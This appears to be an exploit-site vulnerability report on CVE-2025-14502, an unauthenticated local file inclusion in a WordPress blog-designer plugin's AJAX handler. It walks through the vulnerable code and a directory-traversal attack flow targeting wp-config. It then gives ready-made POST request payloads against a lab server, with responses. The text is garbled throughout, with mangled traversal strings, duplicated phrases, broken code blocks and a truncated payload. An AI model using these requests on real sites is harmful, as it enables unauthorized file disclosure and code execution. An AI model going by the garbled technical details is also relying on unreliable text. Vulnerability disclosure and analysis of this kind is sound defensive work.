## https://sploitus.com/exploit?id=E1D97D1F-277A-5C50-8D04-295688A4A985
# CVE-2025-14502 Vulnerability Analysis Report
## Vulnerability Overview
**Vulnerability Type**: Local File Inclusion (LFI)
**Versions Affected**: News and Blog Designer Bundle 1.1 and all previous versions.
**Severity**: High risk
**Attack Complexity**: Low (no authentication required)
## Vulnerability Schema
### 1. Vulnerability Location
The main vulnerability exists in the `nbdb_fetch_more_post()` method in the `includes/class-nbdb-ajax.php` file.
### 2. Code audit details
#### 2.1 Vulnerable Code Location
```31:34:includes/class-nbdb-ajax.php
sanitize_text_field(extract( $_POST['shrt_param'] )).
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
```
#### 2.2 Vulnerability Causation Analysis
**Issue 1: Improper use of the extract() function**
There is a serious problem in line 31 of the code:
``` php
sanitize_text_field(extract( $_POST['shrt_param'] ));;
```
- The `extract()` function extracts the keys of the array as variable names and the values as variable values directly to the current scope
- The return value of ``extract()`` is the number of variables ** successfully extracted ** (integer), not the array itself.
- The `sanitize_text_field()` function expects a string argument, but here an integer is passed.
- ** so this line of code doesn't actually have any security protection **
**Problem 2: Lack of parameter validation **
Line 33 uses the `$template` variable directly to construct the file path:
``` php
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
```
- The `$template` variable comes from `extract($_POST['shrt_param'])`, ** completely controlled by the user input **
- **without any whitelist validation
- **without any path normalization **
- **Allows directory traversal attacks** **Allows directory traversal attacks** **Allows directory traversal attacks
**Issue 3: Only checking for file existence**
Line 34 only checks for file existence:
```php
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
```
- ``file_exists()`'' only verifies that the file exists, **not the path legitimacy**
- If the attacker has control over the `$template` parameter, it can perform directory traversal via `. /` directory traversal
- Eventually, `include($template_file)` is executed at line 93, causing any file to be included.
#### 2.3 Comparison: Secure Implementations of Short-Code Handler Functions
In `shortcodes/class-nbdb-shortcode.php`, all shortcode handlers use **whitelist validation**:
```55:55:shortcodes/class-nbdb-shortcode.php
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
``
- Use the `nbdb_post_template()` function to get a list of allowed templates (only `template-1` and `template-2`)
- Use `array_key_exists()` for whitelist validation
- If not in the whitelist, use the default `template-1`
** This proves that the developer knew how to validate the parameters correctly, but missed the validation in the AJAX handler function. **
### 3. Attack vectors
#### 3.1 Unauthenticated Access
```15:16:includes/class-nbdb-ajax.php
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );;
```
- Both `wp_ajax_` and `wp_ajax_nopriv_` hooks are registered.
- ``wp_ajax_nopriv_`` allows **unlogged-in users** access.
- An attacker can exploit this vulnerability without any authentication
#### 3.2 Attack Flow
1. Attacker constructs a malicious POST request to `/wp-admin/admin-ajax.php`. 2.
2. set the `action=nbdb_fetch_more_post` in `/wp-admin/admin-ajax.php`.
3. Inject a directory traversal load into `shrt_param[template]` (e.g. `... /... /... /... /wp-config`)
4. server executes `extract($_POST['shrt_param'])` to extract `template` to variable
5. Build the path: `NBDB_DIR . '/view/nbdb-masonry/' . '.. /... /... /... /wp-config' . '.php'`
6. `file_exists()` returns true if the target file exists.
7. Execute `include($template_file)` to include and execute the target PHP file.
### 4. Impact of the vulnerability
#### 4.1 Direct Harm
- **Code execution**: Can lead to Remote Code Execution (RCE) if it can contain executable PHP files.
- **Sensitive information disclosure**: It is possible to read the contents of PHP files on the server (e.g. `wp-config.php`).
- **Elevation of Privilege**: Access control may be bypassed in certain configurations.
#### 4.2 Exploitation Conditions
- The target file must exist and be readable
- The target file must have a `.php` extension (the `.php` extension is hardcoded in the code).
- The server must allow `include()` to execute the included file, "readable" assumes that the included PHP itself has visible output (echo/print/error/protocol response), otherwise you won't see the content.
## Vulnerability verification steps
### 1. Construct a test request
```bash
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=... /... /... /... /... media_size]=DESC&shrt_param[order]=DESC
``
### 1.1 Analyzing the response
```bash
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'.
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
faultCode
-32700
faultString
parse error. not well formed
``
### 2. Constructing a test request
```bash
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=... /... /... /... /... /wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[ orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
``
### 2.1 Analyzing the response
```bash
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'.
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
``